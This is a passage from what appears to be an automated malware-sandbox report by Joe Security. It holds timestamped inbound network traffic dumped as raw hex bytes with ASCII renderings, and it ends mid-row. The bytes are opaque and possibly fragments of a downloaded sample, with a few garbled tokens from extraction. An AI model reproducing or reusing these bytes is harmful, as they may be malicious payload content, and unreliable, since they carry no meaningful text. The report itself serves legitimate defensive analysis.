2022-01-15 19:23:30 UTC 80 IN Data Raw: 8a 1f 21 ce aa 5f 87 51 81 9b 07 e9 3d 8e 96 8d 41 f9 ba 8e 3a 79 48 3d 21 f0 97 a8 7b bd 03 86 fa e0 81 26 14 54 1e f9 cb 78 c0 e7 48 0e cc 48 c0 ce a4 1b a2 d9 93 81 83 c1 2f 93 78 1b 6c 9a ef da 0d da e7 5d 23 09 81 9f 36 36 7d 03 48 42 d5 b3 75 16 2c b1 ab ea 42 8d 07 5b 15 24 ee cb e5 b3 62 07 4a df 08 0a 1e bf c8 d3 67 fc c2 1e 86 7c cd b6 35 4f 69 a3 fb 8d 43 d6 78 b7 2d ed 97 5c 17 19 57 9b 42 c8 f7 1c 15 0f 29 e1 ad 07 8e 2e 91 94 9f 43 b7 4e 93 63 d2 f6 2a 7a 62 42 09 f4 1c eb 22 b1 b2 e1 3e e7 1e b5 ff d5 ad 2b 57 a5 c9 63 57 b3 6b 5f 1d 33 ae e5 70 c7 0e a1 fe b1 b9 30 1d 6b 7e 70 7f 73 10 55 11 0c 8b cf 0f 12 fb 18 af e7 33 0d ff 3b 02 e1 79 79 5c 26 54 8b f8 e7 69 a2 a2 ff 48 d2 cf c9 72 cf 23 a3 6e 88 7a fb 3e 00 01 a4 24 16 4b d8 a2 9f e7 Data Ascii: !_Q=A:yH=!{&TxHH/xl]#66}HBu,B[$bJg|5OiCx-\WB).CNc*zbB">+WcWk_3p0k~psU3;yy\&TiHr#nz>$K

2022-01-15 19:23:30 UTC 84 IN Data Raw: bb ae 4a 81 58 bd 40 b7 d0 73 c9 35 62 e1 f4 b4 6e fb c5 e9 ec b3 cb 83 13 0f 3d f5 68 9a f5 67 c8 c2 cd 70 44 7b 81 45 9c e1 40 2e bc 73 69 0b f2 b2 c3 1f 6f 21 90 f2 24 d5 77 90 bf 2b be 02 83 6c 42 b9 41 50 8b 9f c4 eb db 83 75 b4 e0 cf 07 50 76 e8 04 c5 47 53 fa c0 82 f2 7c a0 ef 7a 68 bc 30 af 3c 90 60 18 44 a2 7c 12 9d 0b 4f 9f 94 e0 71 4b 49 dc 84 03 cf 72 4b 22 92 58 b4 3c b0 b6 7b 84 80 dc 3b ed b4 cd 80 f7 4b 12 33 c6 39 26 f5 0e 84 a0 d7 ed 6f 9c d0 75 31 b3 7f 68 46 6a ec fc 3e 88 5f 91 ae c6 37 5e d1 21 e6 b6 5a 23 ce 18 97 c3 3a b6 85 bd ea 5c 44 7f e4 b0 39 0b 58 7d 91 47 ec ee 1c 2c 71 2b 33 50 0b ef af 39 f1 e3 9b b5 7c 31 e7 e0 53 e4 0d 21 eb 90 36 db 0c 02 96 0d 4b 29 20 02 d9 e1 fe e8 52 b9 f9 45 05 77 61 97 26 dc 63 b3 8e 7d d3 b3 24 Data Ascii: JX@s5bn=hgpD{[email protected]!$w+lBAPuPvGS|zh0<`D|OqKIrK"X<{;K39&ou1hFj>_7^!Z#:\D9X}G,q+3P9|1S!6K) REwa&c}$

2022-01-15 19:23:30 UTC 88 IN Data Raw: 53 da 1e c2 58 c2 52 f5 d9 7d 49 a1 2f 5b c5 52 9e 49 76 e3 c7 b0 f4 7f 81 8f 1a 50 a8 f6 66 46 40 8d 45 ba 8a 32 18 48 42 b1 c0 78 db 69 72 a3 4d 2a 32 0c 7a fd 86 dd 29 e3 46 ec eb a6 94 fc 28 64 4a 3d f0 17 35 b0 cf 6d 52 c0 3d b7 01 20 0d 09 c4 98 d4 40 f6 79 79 d8 63 e6 fe 0c 25 88 47 eb 0c 27 42 24 f0 c7 d7 04 61 d9 c3 ba ab 64 7a ea e0 37 a7 cd d6 4d ff 87 47 7c 99 8c d8 3c 08 94 63 92 1d a6 6c 1d 88 b1 70 2a 6d 3e 05 d0 2f 97 37 2f 82 ce a8 1d 01 18 0e 7e a2 9e 5f c3 66 78 f0 45 04 15 21 44 b0 97 3a 06 aa 70 2e b8 b6 54 fb 36 f4 a7 70 90 74 d1 27 ff 0b b6 77 ac 31 17 b7 eb 5a c9 6a 4c a1 38 72 34 58 9b df b0 2d b4 ee 4c 4f 88 2b ae 78 09 08 57 60 92 38 85 4e a0 8f 89 a2 33 65 29 34 7a f1 78 19 c9 6e d1 36 91 70 95 0c b3 9d 64 a4 15 93 49 2f 06 7d Data Ascii: SXR}I/[RIvPfF@E2HBxirM*2z)F(dJ=5mR= @yyc%G'B$adz7MG|<clp*m>/7/~_fxE!D:p.T6pt'w1ZjL8r4X-LO+xW`8N3e)4zxn6pdI/}

2022-01-15 19:23:30 UTC 92 IN Data Raw: f6 31 94 8e 44 02 00 29 c2 96 0f 69 0a 79 ee 37 93 55 07 7e cc 70 93 7a 4c 52 ce 1d 35 eb 0d 71 4d 3e c1 9e 0f 15 31 d0 af eb d7 1c 92 f2 81 d4 d5 33 3b 54 95 32 15 19 e3 16 4f ef c7 6b f9 46 6c 8b ef f4 23 62 a4 d8 fa 3a e2 42 e2 c8 0b b4 03 ef e7 35 4e 44 ff d7 e3 f1 53 34 01 54 a5 21 47 ab b1 ae f9 ad a7 72 a5 6d 71 ba 79 7f 74 dd 7a 0f 62 67 8a 9a 58 4a f6 a8 8a 67 ad a7 2f f5 4f 7a d6 fd f7 6f c3 41 6c 5e 70 d2 b6 00 32 1f e6 46 23 44 af 25 59 77 58 6d a6 0c 45 dc 0c 85 17 b4 af a6 f7 f1 1a f4 0f 85 00 ea ec b4 27 a3 47 73 73 92 ce 44 71 8f f0 2c 0c 38 53 32 c2 1c 18 62 b9 7e e8 36 5f 4c d1 9e 10 6d cb 07 b5 81 94 a2 d1 11 f0 08 f8 f7 9e 07 1d 3c 35 09 0a b5 7c c4 ca d2 5a 2d 00 05 6d 39 b4 b8 be 39 2c 55 f7 56 ee 2c 3e b3 8b 55 0b 3a c3 64 8f a4 17 Data Ascii: 1D)iy7U~pzLR5qM>13;T2OkFl#b:B5NDS4T!GrmqytzbgXJg/OzoAl^p2F#D%YwXmE'GssDq,8S2b~6_Lm<5|Z-m99,UV,>U:d

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 27 of 103

2022-01-15 19:23:30 UTC 95 IN Data Raw: 73 46 0e 5d 24 a5 fa db f1 8e a6 09 39 6f d9 d7 11 64 3a 7d dc 01 a9 7e 33 93 7f 20 53 2c 9f 41 f3 87 c4 95 62 6e 04 62 ba 49 58 cc 42 6c fd bc 4c 30 ad 9a de be 7a 31 33 94 b4 fc 52 f9 20 ac d2 fc 9e 8f c9 50 14 fc ca 24 3a 83 c8 9e e7 af e5 2e f8 2b d6 74 e0 0f fc a4 71 51 a2 e0 50 34 0e e8 62 7e cf 84 05 b3 ee f8 21 c0 29 76 28 cf f8 1d 0d 49 8c ec f6 09 57 b7 b2 13 2d 60 23 bf 4c 7e 35 f0 13 92 b4 de 76 35 a3 5e 12 79 aa 55 81 e1 38 6c 63 d8 ff 88 fe c9 b2 4e d2 c0 61 58 2a b4 6c 00 65 bd e2 b2 87 42 4b 49 62 f3 6d ec f8 fb fb c4 19 90 4e da 35 16 29 6a f6 a1 74 bd 16 77 e2 06 b9 ef ca f0 1d c7 bd 44 5a cb dc 7f 09 de b7 be c6 e4 be 2a 98 bd 51 8e 88 59 c5 b7 69 dc 11 f7 81 49 4a c8 12 1b 8b 08 d8 37 7c 27 1a b4 d8 73 24 55 16 ea b6 d5 fb 07 f2 6c 06 Data Ascii: sF]$9od:}~3 S,AbnbIXBlL0z13R P$:.+tqQP4b~!)v(IW-`#L~5v5^yU8lcNaX*leBKIbmN5)jtwDZ*QYiIJ7|'s$Ul

2022-01-15 19:23:30 UTC 100 IN Data Raw: f8 38 4f ae 02 9f b5 b7 09 7f 46 cf 2b 22 47 65 48 55 fc 5f ba e7 4c d8 7f d7 a1 3a 40 ec fc 41 c6 09 dd 17 6e dd 45 ff 43 00 37 e7 37 a9 b8 5b 0f 34 0c c9 c8 9c a8 f3 b6 a8 05 1c 15 61 9e 6c c0 61 db be e8 a1 a5 6d d4 0d bc 4e ed c2 ca ce 25 6e f2 77 5a ed ea 78 16 fd 9d e6 ee 82 25 8a df 2f a0 33 34 ca 91 28 27 5e c0 26 89 25 3a 3c 9b a0 48 68 2e 1b ffce 08 e8 34 bb 46 33 c0 c5 8a 97 de 2c 88 7b 7e 9f f6 cb 7b 5d be 77 de 00 1d f8 75 7a e2 78 37 96 1e 48 55 8d c5 2e 8b 0b 74 15 d8 f6 ac 10 fc c7 78 3d 08 a5 f8 c8 cb 05 a5 e4 95 a2 c6 f6 21 71 fb 52 74 94 ff f8 b9 68 f8 6a 38 19 3c 41 da 2e 2f 78 b2 6c a2 c7 68 e2 c9 2a 8e 60 b4 54 71 bc 84 2e a4 ee 03 4b d7 cf 6b ea b3 6e 6e 3e ba bc ac 03 db e7 8b 4d b7 01 90 d1 37 0a f1 21 13 28 71 96 8b 2b 5b 8c 0d Data Ascii: 8OF+"GeHU_L:@AnEC77[4alamN%nwZx%/34('^&%:<Hh.4F3,{~{]wuzx7HU.tx=!qRthj8<A./xlh*`Tq.Kknn>M7!(q+[

2022-01-15 19:23:30 UTC 104 IN Data Raw: e7 49 4c 68 f0 14 92 ab 7f c5 72 8c d0 d9 49 1d 83 65 1f 40 36 e8 af 00 cb e7 c5 f3 0e d2 a4 4e 05 4b b5 97 a1 8d ab fb 1a 6d e7 17 f5 56 96 3f 73 20 e2 ff 3f 17 aa 57 bf a3 e4 ee da b7 d0 b2 4b 89 70 88 8b b3 1c 9c db de be 91 84 1c 9d 0a 43 68 f5 13 a2 d5 67 5f 53 d8 09 0d 82 0a 9e b5 ad 52 4c 44 5f 27 3c 10 9f a9 7e e9 68 3c b3 2f d5 50 16 1a 44 4c 70 fa b4 60 10 d7 ee 29 a6 6e fe 43 37 e8 43 17 1d 3b 92 86 a1 85 7f 13 a0 f9 57 54 3d 73 43 9e 71 9e 30 c3 da fa e8 9b f6 b6 08 d3 37 f4 8c ce bf 4d bb ad 32 2f 20 49 b0 00 f9 a5 26 5c 66 13 5a 04 9a 19 db f8 a1 0f 5e 21 e0 8f ca ab e3 a3 cf cb 2c 2d 68 47 d6 db ad 26 0f 1e 22 e5 c5 38 2b a6 59 cb a4 b1 c9 c4 44 92 d9 97 d9 68 26 a2 e5 74 6e c8 85 34 74 ee ea 46 62 60 18 a5 b8 92 6c 3e cf 3a e3 97 4e eb 69 Data Ascii: ILhrIe@6NKmV?s ?WKpChg_SRLD_'<~h</PDLp`)nC7C;WT=sCq07M2/ I&\fZ^!,-hG&"8+YDh&tn4tFb`l>:Ni

2022-01-15 19:23:30 UTC 108 IN Data Raw: 1e a1 cf 81 03 b5 69 11 2a ff e8 57 fa 67 d5 08 55 59 52 e3 b0 6c 7d 7a 66 dc 86 4b 4e 2b bc 94 06 df cd 2c 1d ae fd 8b 94 de e1 4a 01 c3 99 aa 94 8f 85 2e f4 8b 30 3a 0f 36 a7 80 91 78 fa d9 fb 6d 4d b0 8d f7 65 ac d1 f6 aa 87 37 07 61 14 c7 b8 b6 13 44 ad 57 2e a0 b2 14 51 03 1a 77 ed 22 f9 88 bb 33 cf a4 4b 4b 18 94 6a dc 89 80 3a 19 63 26 dc 16 94 ae e9 33 1d d1 42 c3 f7 e6 9b 47 2c b4 6c 65 b5 fc 93 ef 50 bd db 9c 90 b1 b8 f7 56 e8 6f e2 4d d4 59 49 a5 74 b9 44 85 a8 c2 9e a1 4b ec a7 8c da e8 e9 a6 c5 b7 13 3f df 0d 73 92 df 74 77 39 64 48 8c 86 b9 cb 22 da 34 5a d1 0e 47 44 5e 05 67 8a 6a c4 52 43 76 f8 65 61 c5 f5 99 91 e3 c4 6d 22 2c 54 06 04 81 3d 04 d2 a0 60 05 eb f7 cd 6c 2d ac df e7 11 4e 74 9b 1a e0 60 f4 13 ab 8c 5c bc 11 5c c9 b4 af f6 0a Data Ascii: i*WgUYRl}zfKN+,J.0:6xmMe7aDW.Qw"3KKj:c&3BG,lePVoMYItDK?stw9dH"4ZGD^gjRCveam",T=`l-Nt`\\

2022-01-15 19:23:30 UTC 112 IN Data Raw: 84 75 e7 a0 ee 5d 12 ea 41 08 be fe c6 d9 1b 4f 44 df 1a 1e f5 bf f2 63 d0 ce a3 97 9f 15 a3 e6 5b 9c 85 11 35 45 3b 91 ab 66 3c fe 0f 04 04 04 84 3c fa 6e c2 dd e1 31 e9 e8 d7 5a 9e 6d a3 60 66 22 18 8f 70 de f6 2d f8 31 27 d1 7c c7 c0 f2 8a 23 00 0e dd d6 78 36 63 14 f6 2f 9f 20 6d 78 5e 23 03 e5 b3 2e 96 f7 4e 26 ab b8 75 97 31 b1 86 4e 2b 06 c0 d0 52 b8 83 3b ec a4 3a a9 d2 0b 3f c0 65 a6 f8 1f b6 d8 f0 a3 e6 48 b3 fc b0 b8 bf 3f 04 14 0e 4c f1 68 85 84 9c 35 73 ab c0 8d be 34 3a ba 0e 4e f3 7e 9c bf 5b 4b 99 1c 09 f9 6a 67 eb 58 3a 45 0a cc 19 a0 2f 32 3e ad 58 5d 58 71 bb 19 9c 8f 23 ae a0 1b 4c 2a 7a 39 40 4b 0d 2c 74 8d 8d c8 ef a4 4b 79 c8 29 a6 37 1f 2c 85 02 2e 74 28 0b 19 ac 54 aa 92 ed a5 cd 2b d2 86 b2 59 b4 1c 1d cc 16 04 f5 e8 28 b2 dd f0 Data Ascii: u]AODc[5E;f<<n1Zm`f"p-1'|#x6c/ mx^#.N&u1N+R;:?eH?Lh5s4:N~[KjgX:E/2>X]Xq#L*z9@K,tKy)7,.t(T+Y(

2022-01-15 19:23:30 UTC 116 IN Data Raw: e7 68 79 f1 36 52 e4 fe 19 f6 36 76 aa 40 cc 9a 4a ec 2c 79 68 e3 21 a3 5a 12 8d 40 e3 23 12 8a 1d f5 49 44 ea 66 83 c8 a1 2a 28 54 74 fa ef f8 2c d9 a6 ef 9c d3 77 32 03 29 31 c9 58 c7 09 4d 29 41 62 2a 57 03 c8 79 6b 23 a8 70 27 16 16 51 0f 22 a4 22 77 ff 1c 0a cf 6d bc 73 69 14 eb 72 46 8e da 02 2b 4a 87 34 51 b3 11 db a0 e8 5b 3d 1d 7e cc 4c 14 d1 51 44 d3 e2 b5 c0 9c 23 2b cd b6 53 4a 0b 7b 35 bc f6 67 f0 85 7d 6d 7e 4f e4 96 27 99 b2 ba 9d f8 50 3b 7f 99 45 aa 89 d4 4a ef 98 ce 5e c0 f7 cf b7 a3 03 61 fe 43 0c f1 fd 3f f3 0d 39 5a 7d b0 27 58 c8 69 60 39 fd a8 7c 00 3a 8c 80 b9 05 60 f8 08 75 92 42 74 61 83 85 7c df 28 a3 74 55 5f eb ab 3d 7a 29 74 20 b8 f9 46 7e 60 d8 e6 6d d5 41 85 f9 fd 47 da d4 77 43 33 9b b1 da b0 c2 22 bc e4 68 23 17 2a bd 3f Data Ascii: hy6R6v@J,yh!Z@#IDf*(Tt,w2)1XM)Ab*Wyk#p'Q""wmsirF+J4Q[=~LQD#+SJ{5g}m~O'P;EJ^aC?9Z}'Xi`9|:`uBta|(tU_=z)t F~`mAGwC3"h#*?

2022-01-15 19:23:30 UTC 120 IN Data Raw: bb 7a a6 9f ff 63 ee 79 83 50 99 49 80 86 b0 c9 05 a0 91 7d ad 41 18 3a 89 39 c1 64 1e fc 19 93 61 ff 69 1c 07 39 88 26 b3 e9 84 c2 18 4e f8 ef 36 27 c3 61 5f f8 55 1c 2b 1d 50 af 09 fb b7 ba 1d 21 0e 61 85 32 f8 d3 86 bb 40 88 07 76 0e f8 8f 1e 15 15 74 20 58 46 33 f9 25 56 53 1d 7d c2 02 ce 87 e4 b1 97 5f bc 27 56 4a 6c 0e db f1 c5 17 b3 b9 79 89 21 c4 c0 d9 a8 ff 75 9b ba ba 2d 5d 09 f8 b6 d5 40 6f 61 6d 92 73 32 e9 6c 1a 36 70 0e f0 2d 6e d6 9e 7e 90 4f 59 31 18 a3 bb 22 b1 f2 50 b6 31 68 35 44 56 f2 77 36 1e 87 18 53 b4 f8 cf 44 39 2a 80 08 09 ab 5a 9e bf 67 53 7d dd d4 a4 c8 76 37 74 02 66 ae c0 37 57 55 ba 89 92 fd 94 84 86 8e 05 79 c1 c4 f4 e5 8c 7a 6b 14 cd 6f 4f 7b a9 89 10 7a 5c 6a 4f d0 3f 4e 87 c0 4c ae 04 75 83 42 75 bc cc a6 de b0 2b 6b c4 Data Ascii: zcyPI}A:9dai9&N6'a_U+P!a2@vt XF3%VS}_'VJly!u-]@oams2l6p-n~OY1"P1h5DVw6SD9*ZgS}v7tf7WUyzkoO{z\jO?NLuBu+k

2022-01-15 19:23:30 UTC 124 IN Data Raw: 52 6e d2 fe ed 82 1f 5e 35 e7 33 27 a4 79 c8 4a 7e ce 45 ce bc de ef 50 7f 50 50 15 54 8d 38 8f d9 89 ab 11 ad 94 4c 51 1a f8 bb fb 64 68 72 3f b8 0c f2 a8 90 f5 76 74 39 04 ad e0 31 ca f6 fc 06 84 5c 2d b7 2b 95 ea 76 61 7d b5 0b 02 44 dd fa e1 40 9e 41 fd 1d cc f0 3a 75 5d 9d 99 79 cf 2c 35 29 66 9d 6a cd e8 7c 8c 13 e7 e7 78 ff 48 81 8f 55 6c c6 eb 9f 75 78 2f fd d7 8c 45 b1 47 ef b5 c0 a0 b5 fa 79 c0 07 ce 7c 04 13 70 7d 18 db 22 79 55 e4 92 28 5a 02 85 ec 0d 31 2e 48 7a 72 80 8f 96 c3 17 b1 76 70 8f ab de 0d e1 72 a9 78 c8 b3 07 2b e8 f3 d8 a5 81 8e e2 8d cc 1e f8 be 4e b4 2c 8e 14 1d 6c ea d8 6f 97 d5 d2 f2 aa 5b 58 9d 1a b3 ae 22 ba 85 2d 41 93 84 1e f2 b6 83 7b 99 e2 a7 e7 cf ea 65 a0 f7 df 57 31 c9 78 96 33 94 10 43 98 c7 32 72 7d a9 cd 6a 71 74 Data Ascii: Rn^53'yJ~EPPPT8LQdhr?vt91\-+va}D@A:u]y,5)fj|xHUlux/EGy|p}"yU(Z1.Hzrvprx+N,lo[X"-A{eW1x3C2r}jqt

2022-01-15 19:23:30 UTC 127 IN Data Raw: 0a 21 43 f1 96 b4 8a 52 30 b3 55 fc 96 9f 56 eb 45 c0 3c c3 f4 98 ac bf b8 55 b2 e4 ba 4a 85 9d 2c b9 6b 29 24 12 1d d0 88 24 7e df 41 26 41 a9 49 11 f2 ac d5 09 9b 4c 58 3b f3 9d 18 09 12 7e 27 dc 04 59 ba 50 50 e6 1a f1 29 bd 0a 77 7a 18 e9 91 dd 15 7f 0a 2d 2c 61 92 3a cf 28 d0 2a 65 d7 aa 0e 2f 90 7b 96 04 e0 80 37 b3 73 5f fa e9 d7 a0 f4 f7 d7 ef c6 6a 62 80 29 a4 e0 31 e1 ea 39 c5 65 d1 41 38 83 01 40 62 91 d8 a2 e7 43 76 53 aa 0e 2a 74 d7 c1 dc 71 1f 43 31 9a eb 08 82 02 10 75 11 da 27 98 b9 b2 8a 49 15 30 48 09 37 fc a5 01 bb c3 a7 78 51 45 70 39 e9 35 89 2d a2 67 74 95 b4 f4 3a 03 75 08 4e 94 76 12 a7 4c a1 1c b7 e6 e9 e5 5a 43 94 c1 af 8b 32 0c 39 05 2f 91 3e 00 22 91 e5 42 b9 d2 33 57 f7 1d d7 d5 f3 25 e5 2f e1 8a d6 8c bd 2f 6d 1c 0c e5 5f 77 Data Ascii: !CR0UVE<UJ,k)$$~A&AILX;~'YPP)wz-,a:(*e/{7s_jb)19eA8@bCvS*tqC1u'I0H7xQEp95-gt:uNvLZC29/>"B3W%//m_w

2022-01-15 19:23:30 UTC 132 IN Data Raw: f2 3b be 58 cf e5 5c eb a9 9c b7 f3 7c 33 ab b3 b3 95 38 b4 8b 15 72 14 ab 1c 15 79 62 1b 92 2f f3 15 cf 73 20 a6 e8 a6 23 f0 0c 32 fc ce 7d ca 9c b2 66 f9 01 3a d1 14 6b 45 fd ec 6d c3 f0 f3 ae 59 39 6e 6d 19 09 3a 0b f7 f7 3b f4 90 ba aa ea 34 66 c9 cd 29 a2 e2 fc 75 b0 dc 0c c6 e0 ca 9d ff 59 74 71 66 3e fa ac c8 86 90 22 ea 93 d4 11 9a 78 a6 93 84 ac 73 d6 94 18 65 34 54 9a da f2 2b 12 a7 3e b5 1f c9 74 c3 17 a8 c4 32 54 83 7e 80 2a 3d 85 d6 9b 80 44 f1 7c f1 ce ce 40 ce e6 62 48 ea 18 9b cc 68 ee e0 5f e9 64 3c 58 e3 aa 9c 45 3a 9c 57 37 bf 2c bf 15 0d 37 5d fb af fa 2c 96 0f 98 bc 5f d3 0e 8f 89 a0 43 05 80 e5 79 2d ba 55 76 58 4d 08 64 c7 29 d9 77 c7 37 ef e7 e6 75 ab 60 38 57 c6 43 46 f7 98 be e6 d5 80 7e c8 0e 17 21 58 5d d4 93 65 59 de 1b 1b 4c Data Ascii: ;X\|38ryb/s #2}f:kEmY9nm:;4f)uYtqf>"xse4T+>t2T~*=D|@bHh_d<XE:W7,7],_Cy-UvXMd)w7u`8WCF~!X]eYL

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 28 of 103

2022-01-15 19:23:30 UTC 136 IN Data Raw: 94 12 43 99 fc dc 05 b9 9d db df 3e e2 61 cb 52 bb 7f ac 0b e8 da 65 92 6b ce da 59 c6 45 98 98 46 e4 18 52 56 f9 53 55 2c 5f 51 7e b2 71 f6 72 76 cc dc f3 a4 01 cc 7f 0d c4 c7 9c 3e ec 26 a8 52 70 bb 16 cd 99 76 de e6 f4 d5 d5 8f 40 85 74 32 07 f0 30 70 c7 8f 25 e2 7a 5b 4c 41 1a c1 17 39 8c 0a df 07 86 15 ea 22 ac 0a 15 51 37 f4 a7 c6 e8 0d 1a 21 ce 74 a3 7d ee a4 de 60 c5 d2 06 00 92 99 94 67 b4 3d 2c 74 c5 15 a2 85 14 89 22 cf 1f a9 b7 29 c8 d9 10 37 6e e5 ba 9c 5d b9 3b d6 4d 78 4d 63 ea 63 95 b3 09 0d 21 c1 cd a9 40 28 39 f0 70 9f 7b 43 0a a5 e5 b0 3c 55 f8 d0 e6 4b 9c 39 47 34 be 57 72 34 65 e4 6a c1 82 09 e9 98 0d 65 76 c7 62 3f 57 a0 a8 7f 7b ab a3 5b 30 02 fe af d9 c3 92 da f5 2d ed 77 2f 64 60db 7e e8 79 07 c4 cf 00 38 75 9f 42 0a 60 96 ce eb Data Ascii: C>aRekYEFRVSU,_Q~qrv>&Rpv@t20p%z[LA9"Q7!t}`g=,t")7n];MxMcc!@(9p{C<UK9G4Wr4ejevb?W{[0-w/d`~y8uB`

2022-01-15 19:23:30 UTC 140 IN Data Raw: 4b 4a 33 6f d2 34 a5 ea 75 c9 6b f4 37 7d c5 8b 65 a8 d7 56 62 f5 c4 be 67 ad 8b 5b ef b5 0d fd 7e ee 84 36 67 3e 5e 2b bc a3 c1 6b 33 b8 cd a0 81 d2 5b 54 23 23 4c 48 b5 80 20 06 14 81 57 67 21 d7 c7 e7 86 69 ee 0d b4 98 44 19 71 19 73 49 e1 38 90 66 9c 96 eb 81 1e 16 61 4e c9 9d 9a cc f5 c2 34 72 75 0a e7 a5 11 7b ac b7 8a 5f 73 10 6f b5 62 c2 8a 08 ae cc 5b 0e 31 ab 22 64 f8 d6 d5 b6 78 2d a6 43 51 be 37 2d 8d ba 74 3a fd 34 84 11 17 86 88 2e 54 5d 59 75 54 7b d6 28 f8 db 2c c0 8a 93 f7 15 fc cd e1 db b1 e1 28 5f 17 34 72 aa d1 34 69 20 aa 72 8c 4c 0a 2e d6 f5 5c 99 54 03 c6 f7 52 ff 6f 55 06 d0 36 ad 14 87 c5 3a 9a f4 88 ce 0f 1b b1 7a 4f 62 6c aa 29 84 17 68 45 bb 76 3a 8d 3f 60 61 4e 50 c9 82 86 89 40 d8 3d 61 cb 9c 6a f5 85 d2 04 93 b2 02 53 8b 34 Data Ascii: KJ3o4uk7}eVbg[~6g>^+k3[T##LH Wg!iDqsI8faN4ru{_sob[1"dx-CQ7-t:4.T]YuT{(,(_4r4i rL.\TRoU6:zObl)hEv:?`aNP@=ajS4

2022-01-15 19:23:30 UTC 144 IN Data Raw: e8 a1 8c 0d e8 29 90 92 dc c7 5b 7c 50 e9 13 ec 21 d1 84 8b cb f3 ef 63 45 01 05 83 57 fa 7b 60 df f7 05 b8 25 ed 8d c9 49 91 89 d3 54 77 90 6f ab bc e2 a6 fc b3 e6 3a 44 ad 65 44 fb 16 b1 c5 49 e3 09 72 25 32 ac 92 41 f4 0a 09 50 f1 1b 9c db 19 23 56 c9 13 11 6c 52 89 c2 e3 13 e1 fc 7e a7 cc e8 00 05 9a 14 9b 76 4a fe 21 cd 23 be fa e1 a3 03 32 ea 1d 9c 51 37 a8 7d 13 0b 69 ec 61 e2 9a df 53 b4 6e c6 77 ab 18 47 62 98 e4 84 30 be c7 a5 ac 3a 25 60 90 f9 2c 30 95 46 aa b1 14 19 13 a8 68 90 9c 1f a1 a1 e3 ca 69 31 72 3a 9a d1 4f 97 72 0a d1 dc 2b 96 be a8 78 08 7e e7 4b 6f 4b ba 36 fb a8 b9 68 80 7e a9 ae 58 2a 91 58 c7 48 54 29 61 a3 91 61 23 d5 8d 15 02 43 87 18 3c a0 3b 81 e6 35 8e 0c 0b 4c 7f 8f 76 c8 38 3a d4 da 9d 28 2c 28 a5 77 c0 b5 ed a0 3c a2 9e Data Ascii: )[|P!cEW{`%ITwo:DeDIr%2AP#VlR~vJ!#2Q7}iaSnwGb0:%`,0Fhi1r:Or+x~KoK6h~X*XHT)aa#C<;5Lv8:(,(w<

2022-01-15 19:23:30 UTC 148 IN Data Raw: 6e f7 d1 35 99 06 7c 25 f0 d1 33 58 f4 f4 bf 40 6e 84 74 2c c8 cc ed ef ca 91 bb 88 d6 bd f9 bf 77 78 79 38 66 65 93 75 db 73 b9 78 f0 bc 50 db d2 4d dd ca 1f ec ed 7b c0 a8 61 19 84 af ac a8 6c 48 38 33 7c d5 9d fe b5 bb fa 9d 0d ae e2 dd ce fd a3 1d 2c f2 66 5c 5a 55 48 5e 0d 79 56 4d 65 01 67 b9 18 29 81 b6 0d c2 eb 8a fe 90 fa e9 7e 04 3a f4 2c 5d e5 1e 06 cd 7d a9 2e 0a a4 6d 74 e6 99 30 fe a8 32 8f 4f 5b 8a 99 48 ea 84 f7 2d be bd f7 1f 7c fd 1c a7 4a 6a 9c 96 0a 5f fc 72 4f 0d f7 fd b0 34 59 c0 4d 7e cf b4 5c 3f 35 15 ff d1 2c 7c 2c f9 65 12 ab ed 91 94 40 42 aa b0 4a 54 9d 1b 63 e8 8c c0 67 c7 b3 d8 6a f8 01 a7 69 3f 1e 52 2e e4 dc 40 21 84 d6 c6 35 0c 75 0c 3e 2c d6 0f 29 39 6d e2 03 a0 ed 51 33 9b c0 7c b9 20 a1 80 20 7f 46 82 87 66 a1 df e8 bc Data Ascii: n5|%3X@nt,wxy8feusxPM{alH83|,f\ZUH^yVMeg)~:,]}.mt02O[H-|Jj_rO4YM~\?5,|,e@BJTcgji?R.@!5u>,)9mQ3| Ff

2022-01-15 19:23:30 UTC 152 IN Data Raw: 9d 00 8f 51 c5 b7 26 4a f7 91 67 5d c8 9d 6f 65 ae 45 c2 83 15 a5 31 cf cf 87 62 a1 9c 10 55 f5 f0 66 6a c7 be ca 6a 3c 94 d3 19 79 a7 1b 27 71 a2 de 74 89 12 e3 a4 ca 91 f3 47 34 2f ed e3 14 44 02 b0 2d bd 5d 9a 10 63 22 ae 4a 5c 91 16 f6 38 9f f2 20 fa e7 f4 89 8a b8 8d 41 50 00 3f ed 81 b9 09 32 41 d7 ab 6d 8d 83 b7 20 17 f9 cc 91 85 55 78 49 75 27 09 da 8f e7 be 6b 3d e1 fc 17 7a 14 f7 74 f4 40 1b fd 6c ff be ae 86 44 8e 9e be ba 46 cd b4 8f 7e f0 c1 59 ef f9 c9 96 88 91 04 0d e3 07 b7 25 6d c7 75 ec b7 a3 be 01 8b 99 a4 26 39 2b 91 a4 12 26 af 32 11 32 18 c2 16 00 6b 9e d9 6d e4 42 76 42 ee 54 26 bb 97 3e 44 8f 64 2b f8 78 f6 f3 ee ec fe 4a 01 ff d7 cf 0d d5 61 4e d9 58 77 01 0f 25 a9 0e c1 a8 de 93 cf 14 d9 49 15 43 ff 4b 46 0c dd 23 a3 6d 61 1b fb Data Ascii: Q&Jg]oeE1bUfjj<y'qtG4/D-]c"J\8 AP?2Am UxIu'k=zt@lDF~Y%mu&9+&22kmBvBT&>Dd+xJaNXw%ICKF#ma

2022-01-15 19:23:30 UTC 156 IN Data Raw: cc f7 ac 90 a3 85 ca c4 a0 e1 73 ab 0b 61 64 69 f8 1e eb 49 53 07 94 71 6d 7d dc d1 3e 9b 50 d1 af 29 7a 61 a0 56 85 68 59 2a 9f 70 f4 9b c2 f0 46 b2 52 fb 40 fb e7 ac e0 80 e2 72 c3 57 ad f2 53 2e 21 be 3f e9 eb 8c 1a 08 03 82 0c 66 72 3e 6c 17 1f ed 53 59 11 d9 77 79 1c 5b 2d db aa fa e1 49 1e c8 d4 de 66 97 9a 52 d8 79 db 07 82 a4 0a 5f a7 68 2e ac c3 6f ac cf f9 d0 56 ab 65 1d 45 6e a0 f7 de d5 bf f9 09 99 f1 8a 80 69 0c ab 7d a9 75 17 0b fe 46 65 7a 10 91 75 03 f3 06 31 e6 40 ac 5f d8 9a 50 3d 66 7a 0c 99 fa b4 f7 67 bc 11 d4 ad 7d 1e 51 8b ca 52 5a ba 10 15 32 ca 95 88 3e a1 f1 dd ee f4 fd e6 1d dd 0b 80 76 20 e6 7f 49 c3 34 4e 0a 2a 5e a4 a7 c5 1d e2 bd ae 24 8a 83 ce f4 39 46 ef d7 05 26 8d 27 24 b0 40 f7 c3 e8 f8 2b 